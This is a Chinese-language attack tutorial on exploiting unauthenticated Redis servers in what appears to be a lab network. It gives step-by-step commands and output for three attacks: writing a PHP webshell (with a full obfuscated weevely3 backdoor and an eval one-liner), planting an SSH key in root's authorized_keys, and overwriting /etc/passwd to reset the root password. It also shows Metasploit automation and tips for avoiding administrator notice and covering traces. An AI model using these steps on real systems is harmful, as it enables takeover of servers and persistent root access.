redis虽然是高性能内存数据库,但也支持将内存数据保存至硬盘上,实现持久化存储。由于 redis 未强制访问鉴权,导致未授权访问漏洞频发,入侵者借此控制 redis 间接获得系统写文件的能力,极大提升攻击力。
redis未授权漏洞的发现常有两种方式,你可以用 redis-cli 手工针对单个机器验证:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379> INFO server
# Server
redis_version:4.0.1
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:65864c9f72c0dcf
redis_mode:standalone
os:Linux 3.16.0-4-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.9.2
process_id:2213
run_id:f4583ca8759931262b707df016655eabd7b85eed
tcp_port:6379
uptime_in_seconds:2101
uptime_in_days:0
hz:10
lru_clock:12289112
executable:/root/redis-server
config_file:
其中,INFO server 为登录 redis 后执行的内部命令,用于显示服务端环境信息,比如操作系统的版本、GCC 的版本、redis 的版本等等信息,可见在未输入任何账号/密码情况下,已经成功执行 redis 内部命令,确认存在未授权访问漏洞;你也可以用 nmap 自动批量验证:
$ nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24
...
Nmap scan report for 192.168.56.101
Host is up (-0.078s latency).
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.1 (64 bits)
| redis-info:
| Version: 4.0.1
| Operating System: Linux 3.16.0-4-amd64 x86_64
| Architecture: 64 bits
| Process ID: 2213
| Used CPU (sys): 3.20
| Used CPU (user): 0.77
| Connected clients: 2
| Connected slaves: 0
| Used memory: 828.64K
| Role: master
| Bind addresses:
| 0.0.0.0
| Client connections:
|_ 192.168.56.1
...
其中,redis-info 为 nmap 专用于检查该漏洞的插件,检测范围为 192.168.56.1/24 整个 C 段,从输出结果中也能看到大量 192.168.56.101 的环境信息,成功检测到未授权访问漏洞。
有了未授权访问漏洞,就有了向系统写文件的能力。但,还有个重要前提,redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。redis 写文件大致分为四个步骤:登录、设置文件路径、创建键/值、保存。
用 redis-cli 连接 redis:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379>
输入 PING 回显 PONG 则表示登录成功:
192.168.56.101:6379> ping
PONG
说明连接成功。指定写文件的目录:
192.168.56.101:6379> CONFIG SETdir /tmp
OK
这个目录,必须已存在且 redis 安装账号对其有写权限,否则将报错:
(error) ERR Changing directory: Nosuch file or directory
设置要写入的文件名:
192.168.56.101:6379> CONFIG SETdbfilename yourfile
OK
这样,文件路径完整为 /tmp/yourfile。创建键为 yourkey、值为 yourvalue 的键/值对:
192.168.56.101:6379> SET YOURKEY"YOURVALUE"
OK
将内存数据写入文件:
登录 192.168.56.101 查看刚写入的文件:
# cat /tmp/yourfile
REDIS0008� redis-ver4.0.1�
redis-bits�@�ctime�!��Yused-mem�
�
aof-preamble��repl-id(f673f43a842713fcfa179696f306c536f476e997�
repl-offset���##oldkeoldvalueyourkey yourvalue�Z?#��
192.168.56.101:6379> SAVE
OK
存在乱码,是因为 redis 以二进制模式写文件,二进制模式查看:
$ xxd /tmp/yourfile
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 21c0 9a59 fa08 7573 65642d6d 656d c288 !..Y..used-mem..
0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c .....aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2866 3637 e....repl-id(f67
0000060: 3366 3433 6138 3432 37313366 6366 6131 3f43a842713fcfa1
0000070: 3739 3639 3666 3330 36633533 3666 3437 79696f306c536f47
0000080: 3665 3939 37fa 0b72 65706c2d 6f66 6673 6e997..repl-offs
0000090: 6574 c000 fe00 fb02 0000066f 6c64 6b65 et.........oldke
00000a0: 7908 6f6c 6476 616c 75650007 796f 7572 y.oldvalue..your
00000b0: 6b65 7909 796f 7572 76616c75 65ff 8e19 key.yourvalue...
00000c0: 5a00 3f17 9be9 0a Z.?....
从中可见三个关键点:一是,键和值均可作为待写入字符串的载体,如,yourkey、yourvalue;二是,redis 的内部关键信息也被写入文件,如,REDIS0008、redis-ver.4.0.1;三是,先前已存在的其他键/值也会保存到文件中,如,oldkey、oldvalue。
个人习惯将值作为写入字符串的载体。字符串应用双引号包裹;若字符串内部含有双引号、单引号等字符,那么应对其进行 \"、\' 转义;若要写入多行文本,应将多行合并成一行,用 \n 分割;另外,为防止待写入字符串与其他连接出现其他异常,最好在字符串前后加几个\n 或空格,将其隔离开:
192.168.56.101:6379> SET yourkey"\n\n i say \"hi\";\nu say \'hello\' \n\n"
OK
redis写文件功能,目的不是单纯的将内存中的键/值保存到硬盘上,而是为了便于从文件中恢复数据,那么势必会将文件格式、关键属型、版本等等内部 redis 内部信息一并写入文件。站在攻击者角度,借助 redis 写的文件,必须具备一定容错性,否则,无法利用该漏洞。比如,将 PHP 语法之外的字符写入 tmp.php:
aaaaaa bbbbbbbbbb
<?php phpinfo(); ?>
cccc dddddddddddd
通过 URL 访问页面,可正常运行 PHP 代码,php 这类脚本文件就具有容错性,那么写 webshell 是可行的。
redis写文件功能,不仅保存你刚才新建的键/值,同时也会保存已有的其他键/值,所以,非你创建的键/值 oldkey/oldvalue 也被写入文件中。从攻击者视角来看,这会导致些问题。比如,你创建了存放一句话木马的键/值,希望保存至 webshell,如果有其他攻击者也创建了存放一句话木马的键/值,redis 在写文件时可能将他的一句话写在你的前面(即,他的一句话在 tmp.php 的第一行,你的在第二行),一旦他的一句话设置了需要密码才能访问,那么,你的一句话永远解析不了。为了规避这类问题,写文件前,一般先查看当前有哪些键:
192.168.56.101:6379> KEYS *
...
2) "resque:delayed:last_enqueued_at"
3) "phpspy"
4)"resque:stat:failed:mobby-db:26377:*"
...
核实可疑键:
192.168.56.101:6379> GET"phpspy"
"<?php@eval($_POST[value]);?>"
删除可疑键:
192.168.56.101:6379> DEL"phpspy"
(integer) 1
如果逐一核实觉得麻烦,可以将键名定为 0,redis 按字符顺序写入文件,这样也可以将你的值写在文件的前面;甚至,不怕影响业务,还可以先用 FLUSHALL 清空所有键/值后再创建你的键/值,那么写入的文件肯定很干净了。
还有一件事,你应该知道,为了高效利用硬盘空间,redis 默认采用 LZF 压缩写入数据。如,创建键为 fours、值为44444444444444444444444444444444444444 的键/值:
192.168.56.101:6379> SET fours"44444444444444444444444444444444444444"
OK
192.168.56.101:6379> GET fours
"44444444444444444444444444444444444444"
192.168.56.101:6379> save
OK
查看写入文件:
$ xxd /tmp/test.txt
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 5a08 9d59 fa08 7573 65642d6d 656d c2d8 Z..Y..used-mem..
0000040: 9c0c 00fa 0c61 6f66 2d707265 616d 626c .....aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e....repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb01 00000566 6f75 7273 et.........fours
00000a0: c309 2601 3434 e019 00013434 ff0f ac63 ..&.44....44...c
00000b0: 03c6 35a9 00 ..5..
redis并未严格写入指定数目的 4 到文件中,这在写 webshell 这类场景中,一旦 PHP 代码被压缩,肯定无法正确解析,所以,通常应关闭压缩功能:
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET fours"44444444444444444444444444444444444444"
OK
192.168.56.101:6379> GET fours
"44444444444444444444444444444444444444"
192.168.56.101:6379> save
OK
查看写入文件,一切正常:
# xxd /var/www/test.txt
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 9b0a 9d59 fa08 7573 65642d6d 656d c268 ...Y..used-mem.h
0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c .....aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e....repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb01 00000566 6f75 7273 et.........fours
00000a0: 2634 3434 3434 3434 34343434 3434 3434 &444444444444444
00000b0: 3434 3434 3434 3434 34343434 3434 3434 4444444444444444
00000c0: 3434 3434 3434 34ff dd3f6b58 38a0 bd7f 4444444..?kX8...
如果觉得整个写文件过程手工操作太麻烦,可借助 MSF 实现自动化:
msf > useauxiliary/scanner/redis/file_upload
msf auxiliary(file_upload) > showoptions
Module options(auxiliary/scanner/redis/file_upload):
Name CurrentSetting Required Description
---- --------------- -------- -----------
DISABLE_RDBCOMPRESSION true yes Disable compression when saving if foundto be enabled
FLUSHALL false yes Run flushall to remove all redis databefore saving
LocalFile no Local file to beuploaded
PASSWORD foobared no Redis password for authentication test
RHOSTS yes The target address rangeor CIDR identifier
RPORT 6379 yes The target port (TCP)
RemoteFile no Remote file path
THREADS 1 yes The number of concurrent threads
其中多个选项的意义,前面已提及过,比如,DISABLE_RDBCOMPRESSION 表示是否关闭压缩功能,肯定是;RemoteFile写入的文件路径,不仅是目录还得含有文件名;FLUSHALL 是否先删除 redis 中其他已有键/值,最好选否,避免影响正常业务,你应手工查看,删除非业务的可疑键/值:
msf auxiliary(file_upload) > setDISABLE_RDBCOMPRESSION yes
DISABLE_RDBCOMPRESSION => true
msf auxiliary(file_upload) > setRHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(file_upload) > setRemoteFile /tmp/yourfile2
RemoteFile => /tmp/yourfile2
msf auxiliary(file_upload) > setLocalFile /home/yangyangwithgnu/test.txt
LocalFile =>/home/yangyangwithgnu/test.txt
msf auxiliary(file_upload) > run
[+] 192.168.56.101:6379 -192.168.56.101:6379 -- saved 15 bytes inside of redis DB at /tmp/yourfile2
[*] Scanned 1 of 1 hosts (100%complete)
[*] Auxiliary module executioncompleted
查看写入文件:
# xxd /tmp/yourfile2
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 92ba 9e59 fa08 7573 65642d6d 656d c238 ...Y..used-mem.8
0000040: f10c 00fa 0c61 6f66 2d707265 616d 626c .....aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e....repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb01 0000205a 696f 7470 et........ Ziotp
00000a0: 6a49 4b5a 4870 6a56 784d4677 6959 4d6e jIKZHpjVxMFwiYMn
00000b0: 6e43 6f42 4f66 6662 526f720f 0a68 656c nCoBOffbRor..hel
00000c0: 6c6f 2c20 776f 726c 64210aff b439 bb6c lo, world!...9.l
00000d0: 9aaa 9f29 …)
为清晰说明细节,后面仍用采用手工操作方式。
写 webshell 文件实现远程控制
一旦控制 redis 后,优先想到的是写 webshell,容错性是它最大优势。假定目标是 PHP 环境、web 的根目录为/var/www/,按前面步骤尝试写个普通 PHP 脚本看下是否能成功解析:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379> CONFIG SETdbfilename phpinfo.php
OK
192.168.56.101:6379> CONFIG SETdir "/var/www/"
OK
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET phpinfo"\n\n <?php phpinfo(); ?> \n\n" NX
OK
192.168.56.101:6379> save
OK
访问 http://192.168.56.101/phpinfo.php:(解析 phpinfo)
虽然页面顶部出现了些 redis 的内部信息,但后面也正常显示了 PHP 详情,说明解析成功。
这次写个 webshell。为了减少不定因素(WAF),不建议直接用 redis 写大马,你可以先写个一句话的小马,用小马拉大马,或者,写适配菜刀的小马,用菜刀访问,或者,写由 msfvenom 生成的小马,用 MSF 访问,或者,写由 weevely3 生成的小马,用 weevely3 访问(限 PHP 环境)。个人偏好 weevely3,以此为例。
weevely3生成webshell:
$./weevely.py generate yourpasswd~/info.php
Generated backdoor with password'yourpasswd' in '/home/yangyangwithgnu/info.php' of 1486 byte size.
其中,yourpasswd 为访问 webshell 的密码,另外,文件名切勿张扬,phpspy.php、agent.php 等等容易引起管理员注意。查看内容如下:
$cat ~/info.php
<?php
$o='&l;&lq=0.(&l&l[\\d]))?,?/&l",$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr<();$s=&$_S&l';
$D='m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp="";fo&lr&l($z=1;$z<cou';
$e='l["que&lry"],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al&ll("/([\\&lw])[\\w-]+(?:';
$y='i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r["&lHTTP_R&lEFER&lER"];$ra=&l@$r&';
$h='64&l_dec&lod&le(preg_replace(&la&lrray("/_/","/-&l/"),a&lrr&lay("/","+&l"),$ss&l&l($&ls[';
$s='l["HT&lTP_ACC&lEPT_LA&lNGUAGE"];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&';
$f='n&l<($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s<rpos($p,$h)=&l&l==0){$s[$i]=""&';
$P='$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten<s();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod';
$R='e(x(&lgzcompr&le&lss($o),$&lk));&lprint(&l"<$k>$d</&l$k>")&l&l;@s&lession_destroy();}}}}';
$Z='$kh&l="aeb&lb";$kf&l="7a&l7d";func<ion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$';
$A='l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s';
$l='&lESSION;$ss="s&lubstr";$sl="str<olowe&lr";$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(';
$n='o="";&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$';
$V=str_replace('XZ','','crXZXZeate_XZXZXZfunXZction');
$w='[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas&le';
$q=str_replace('&l','',$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);
$G=$V('',$q);$G();
?>
内容不太像普通 PHP 代码,这就对了,weevely3 为了免杀特意进行了代码混淆。
前面提过,redis 写文件的几个注意事项:以键值作为写入字符串的载体、字符串应用双引号包裹、引号须转义、多行应合并成 \n 分割的单行、待写入字符串前后加 \n 将其隔、删除其他可疑键/值、关闭写文件压缩功能。
调整后的待写入内容、确认无其他可疑键/值后,写入 webshell:
192.168.56.101:6379> CONFIG SETdbfilename info.php
OK
192.168.56.101:6379> CONFIG SETdir "/var/www/"
OK
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
其中,命令末的 nx,表示仅当键 info 不存在时才创建,防止误更新到业务在用的键名,引起业务异常。
浏览器访问 http://192.168.56.101/info.php 无报错,确认 webshell 解析成功。用 weevely3 连接:
$./weevely.pyhttp://192.168.56.101/info.php yourpasswd
[+] weevely 3.4
[+] Target: 192.168.56.101
[+] Session: /home/yang/.weevely/sessions/192.168.56.101/info_0.session
[+] Browse the filesystem or executecommands starts the connection
[+] to the target. Type :help formore information.
weevely> id
uid=33(www-data) gid=33(www-data)groups=33(www-data)
www-data@lamp:/var/www $ ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:93:68:78
inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0
...
获取低权账号主机访问权,下一步,提权,这属于后渗透阶段,见另文。
最后记得清除痕迹:恢复 rdbcompression、dir、dbfilename先前设置,删除创建的键/值 info。
回顾整个过程,漏了个关键点,web 根目录。是的,演示环境的 web 根目录为 /var/www,但真实环境中往往复杂得多,你得综合考虑操作系统(linux、win)、web 容器、子目录等等多因素,才可能猜测出正确的路径,就像 sqlmap 中那样:
class ABSPATH_PREFIXES:
LINUX = (
"/var/www","/usr/local/apache", "/usr/local/apache2","/usr/local/www/apache22", "/usr/local/www/apache24",
"/usr/local/httpd","/var/www/nginx-default", "/srv/www","/var/www/vhosts",
"/var/www/virtual","/var/www/clients/vhosts", "/var/www/clients/virtual")
WINDOWS = (
"/xampp", "/ProgramFiles/xampp", "/wamp", "/Program Files/wampp","/apache",
"/Program Files/ApacheGroup/Apache",
"/Program Files/ApacheGroup/Apache2", "/Program Files/Apache Group/Apache2.2",
Files/ApacheGroup/Apache2.4", "/Inetpub/wwwroot",
"/Inetpub/vhosts")
ALL = LINUX + WINDOWS
# Suffixes used in brute force searchfor web server document root
ABSPATH_SUFFIXES = ("html","htdocs", "httpdocs", "php", "public","src", "site", "build", "web","www", "data", "sites/all","www/build")
如果暴破不出来,可以考虑寻找 web 应用的目录遍历漏洞,或者,web 容器自身的目录遍历漏洞(如,apache tomcat utf-8 目录遍历漏洞,CVE-2008-2938)。
写 /root/.ssh/authorized_keys 文件实现 ssh 免密登录
借助 redis 写文件的能力,将攻击端的公钥写入目标端的 /root/.ssh/authorized_keys中,可实现 ssh 免密登录。
具体而言,假定你通过各自手段已获取 192.168.56.101 的 redis 访问权限,我们要将文件路径改为 /root/.ssh/authorized_keys,为防止业务异常或被管理员发现,通常事后应恢复先前设置,所以,首先,记录下当前设置的目录和文件名信息:
192.168.56.101:6379> CONFIG GETdir
1) "dir"
2) "/tmp"
192.168.56.101:6379> CONFIG GETdbfilename
1) "dbfilename"
2) "dump.rdb"
记录下当前是否压缩:
192.168.56.101:6379> CONFIG GETrdbcompression
1) "rdbcompression"
2) "yes"
接着,更改目录为 ssh 配置文件所在目录:
192.168.56.101:6379> CONFIG SETdir /root/.ssh/
OK
若非 root 部署 redis,或者/root/.ssh/ 不存在,将出现如下报错,你应考虑其他攻击手法(写 webshell 是个不错的选择):
(error) ERR Changing directory: Nosuch file or directory
确认是否更改成功:
192.168.56.101:6379> CONFIG GETdir
1) "dir"
2) "/root/.ssh"
设置将要待写文件名:
192.168.56.101:6379> CONFIG SETdbfilename authorized_keys
OK
然后,创建键为 abcd、值为攻击端公钥的键/值对:
192.168.56.101:6379> SET abcd"\n\n ssh-rsaMMMdjfeod29jdlsMMMMPMQMBMMMBMQPcLMUOEN8xETqsfklfj5kfLZebMEopPcYTP1uJeOB1Oc+IML+xMGcsdfjsdfjdfsdfkdfjwodOEFsfdhlsFKDSFHsldkjfdlekasdjfssaldjfsadlfsadfasdsdfsadfjsoaiV+LxUpLvE+bPw2CIdkfdsd8W/XGsadfjk92flsllSk/PlTasdfkjlweijsadflksajdfdkfasdfssaldiejflDSKs+asjfiewflofdjkidsfoiwjhsaLDJHFUEWKFHSKDSDFJKASDHU2w1l/fcsfdjW/eWsa+j35WsadfMS76QI2+VkPwPsdfOFMP+gC8+2Faf1yangyangwithgnu@host \n\n" NX
OK
随后,保存,间接实现将公钥写入 authorized_keys:
192.168.56.101:6379> save
OK
最后,恢复先前的目录、文件名、压缩状态,删除创建的键/值:
192.168.56.101:6379> CONFIG SETdir "/tmp"
OK
192.168.56.101:6379> CONFIG SETdbfilename "dump.rdb"
OK
192.168.56.101:6379> CONFIG SETrdbcompression yes
OK
192.168.56.101:6379> DEL abcd
(integer) 1
尝试 ssh 免密登录成功:
$ ssh root@192.168.56.101
Last login: Sat Aug 19 11:16:13 2017from 192.168.56.123
root@HomePortalSystem:~# id
uid=0(root) gid=0(root)groups=0(root)
当然,也不是说将公钥写入 authorized_keys 就一定能免密登录,至少得满足,攻击端网络环境可以正常访问目标端的 ssh 服务、目标端允许 root 远程登录、允许免密登录等条件,甚至 ssh 是否启在 22 端口?iptable是否限制访问源 IP 等等相关信息都得综合考虑。
写 /etc/passwd 文件实现任意账号密码重置
你知道,真正存放密码的文件是 /etc/shadow 而非 /etc/passwd,若一个账号同时在 /etc/passwd 和 /etc/shadow 中出现存放了密码,会出现什么情况?系统以前者为准。换言之,我们可以用 redis 写文件的能力,将自定义的 root 密码写入 /etc/passwd,随后便可以此已知密码登录 root 账号。
既然 redis 未授权漏洞可以写任意文件,为何选择写 /etc/passwd 而不直接写 /etc/shadow 呢?redis 是以覆盖模式写文件,无法追加,假设系统原来有 8 个账号,除了 root 外你不可能知道其他 7 个账号名,redis 写入root 的密码的同时,也就删除了其他 7 个账号,这个过程是有创且不可逆的。自然,我需要在真正写文件前,查看到该文件当前内容,以便事后恢复。/etc/passwd 和 /etc/shadow 哪个更有可能被查看内容?前者权限为 644、后者为 640,肯定是前者。常见的场景,比如该机器部署的 web 存在任意文件下载漏洞,又如你通过任意文件上传拿到 webshell,都可以获取 /etc/passwd 内容。所以,我认为 /etc/passwd 更合适。另外,如果实在是无法事前查看文件 /etc/passwd 内容,你也别不干下手,结合 /etc/passwd- 和 /etc/shadow 仍可恢复 99% 的内容。/etc/passwd- 是 /etc/passwd 的上个版本备份,相较当前版本可能缺少一个账号,先将 /etc/passwd- 拷贝为 /etc/passwd,再从 /etc/shadow 中提取缺失的那个账号名(如 yang),手工追加至 /etc/passwd。这样,入侵前后的 /etc/passwd 基本一至。
/etc/passwd格式如下:
yang:x:1000:1000::/home/yang:/bin/sh
/etc/shadow格式为:
yang:$6$3fsk3de0$RAG5fct2ldQbmeb0e98nm4/EacrpdWHzpKW9ftz01np2uxPVV6B60EqCdMewopLPIC/pPUTybAVnfk9rJ8UGH/:17386:0:99999:7:::
均采用分号(:)作为分隔符,第一个字段为用户名,第二个字段为哈希密码。/etc/passwd 的哈希密码为 x,表示以 /etc/shadow 中的为准。哈希密码字段内部又用 $ 分割为三部分,依次为:算法代号、盐值、哈希值。算法代号,linux 规定 1 代表 MD5、2a 代表老版 blowfish、2y 为新版blowfish、5 代表 SHA-256、6 代表 SHA-512,其他unix-like 可能不一样;盐值,用于防止基于彩虹表的哈希破解,只能为大小写字符或数字,不同类型的算法,盐值长度要求不一,比如,sha-512 要求盐值为 8 到 16位字符,而 DES 要求只能是 2 位;哈希值,通过哈希算法对明文密码和盐值进行加密计算的结果。另外,也可以借助 hashID( https://github.com/psypanda/hashID)和hash-algorithm-identifier(https://github.com/AnimeshShaw/Hash-Algorithm-Identifier )自动识别哈希算法类型。
无法查看 /etc/shadow,如何确定系统采用哪种哈希算法?这,不重要!通常来说,不同发行套件默认采用的哈希算法可能不同,但均支持 MD5、SHA-256、SHA-512等三种,换言之,三种任选其一均可。已实现这三种哈希算法的工具很多,比如,系统命令 mkpasswd:
$ mkpasswd --method=md5--salt='my0salt0' 'YourNewPasswd%1024'
其中,密码明文为 YourNewPasswd%1024,盐值 my0salt0,采用 MD5 算法(--method=help 查看完整列表);又如,python 的 crypt 库:
$ python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
其中,密码明文为 YourNewPasswd%1024,盐值 my0salt0,采用代号为 6 的 SHA-512 算法。
既然我们已经获得 redis 控制权,且 /etc/passwd 具有较强容错性,那么,通过写入 root 账号的哈希密码到 /etc/passwd 中,实现 root 密码重置是完全可行的。
假定重置 root 密码为 YourNewPasswd%1024(linux 一般有密码强度规则,为规避未知因素导致密码重置失败,新密码应满足较强的密码规则,如长度超过 8 位、含有大小写字母、数字、特殊字符),先计算出该密码的哈希:
$ mkpasswd --method=sha-512--salt='my0salt0' 'YourNewPasswd%1024'
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
接着,参照前面写 /root/.ssh/authorized_keys 文件步骤,记录下当前环境、删除可以键/值、设置禁止压缩;然后,设置写文件路径:
192.168.56.101:6379> CONFIG SETdir /etc/
OK
192.168.56.101:6379> CONFIG SETdbfilename passwd
OK
要想 SSH 登录,我们不能只写入 root 账号,sshd 账号也得写入:
192.168.56.101:6379> SET abcd"\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n" NX
OK
192.168.56.101:6379> save
OK
查看 /etc/passwd:
# xxd passwd
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 46d8 a359 fa08 7573 65642d6d 656d c2a8 F..Y..used-mem..
0000040: a10c 00fa 0c61 6f66 2d707265 616d 626c .....aof-preambl
000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e....repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb04 00000566 6f75 7273 et.........fours
00000a0: c309 2601 3434 e019 00013434 0004 6162 ..&.44....44..ab
00000b0: 6364 40b8 0a0a 2072 6f6f743a 2436 246d cd@... root:$6$m
00000c0: 7930 7361 6c74 3024 644d5442 6f4a 5357 y0sadlt0$yCCi..O
00000d0: 4470 4f50 6b5a 6869 304e7a39 6465 3336 sWo8n5MaBFytGaZ0
00000e0: 5369 4a78 4345 5559 4671316b 3970 3733 qTcHKErSaoyvAVvM
00000f0: 7449 3738 7172 7445 71354735 4235 367a tI78qrtEq5G5B56z
0000100: 7376 6e44 5444 6f4c 7241635a 4356 5a6e svnDTdfwkj2JCVZn
0000110: 6f74 6a5a 4c58 6954 6d517a30 6c2e 3a30 oke6c9.FkDN53.:0
0000120: 3a30 3a72 6f6f 743a 2f726f6f 743a 2f62 :0:root:/root:/b
0000130: 696e 2f62 6173 680a 73736864 3a78 3a31 in/bash.sshd:x:1
0000140: 3038 3a36 3535 3334 3a3a2f76 6172 2f72 08:65534::/var/r
0000150: 756e 2f73 7368 643a 2f757372 2f73 6269 un/sshd:/usr/sbi
0000160: 6e2f 6e6f 6c6f 6769 6e200a0a 0002 6161 n/nologin ....aa
0000170: 0166 0001 6102 6464 ffdb1772 3902 cde3 .f..a.dd...r9...
0000180: de .
root所在行的第二个字段已从先前的 x 变为 YourNewPasswd%1024 对应的哈希,尝试用该密码 SSH 登录 root 成功:
$ ssh 192.168.56.101
root@192.168.56.101's password:
Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie
Last login: Mon Aug 28 01:23:30 2017from 192.168.56.104
root@lamp ~$ id
uid=0(root) gid=0(root)groups=0(root)
前面提过,由于 redis 只能按覆盖模式写文件而无法追加,这种入侵方式将破坏 /etc/passwd原始内容,所以成功登录系统后务必尽早恢复 /etc/passwd,不然,轻则引起管理员注意,重则影响业务正常运行。先从 /etc/passwd- 恢复绝大部分内容:
$ cp /etc/passwd- /etc/passwd
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
...
mongodb:x:112:65534::/home/mongodb:/bin/false
yang:x:1000:1000::/home/yang:/bin/sh
memcache:x:113:120:Memcached,,,:/nonexistent:/bin/false
再从 /etc/shadow 找到缺失的账号 wawa:
$ cat /etc/passwd- | cut -d ':' -f 1> a.txt && cat /etc/shadow | cut -d ':' -f 1 > b.txt &&diff a.txt b.txt
34d33
> wawa
手工追加 wawa 至 /etc/passwd:
wawa:x:1002:1002:,,,:/home/wawa:/bin/bash
整个过程完成。
现在我们已经实现将 root 密码重置为 YourNewPasswd%1024,如果运气好(目标端开启 SSH 服务、允许 root 直登),这带来的短期效益是可以 SSH 登录该机器获得 root 访问权。如,尝试用 root/ YourNewPasswd%1024 进行 SSH 登录成功:
$ ssh root@192.168.56.101
root@192.168.56.101's password:
Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie
...
Last login: Fri Sep 1 21:57:26 2017 from 192.168.56.104
root@lamp ~# id
uid=0(root) gid=0(root)groups=0(root)
如果运气坏,即便密码重置成功也无法登录:
# ssh 192.168.56.101
root@192.168.56.101's password:
Permission denied, please try again.
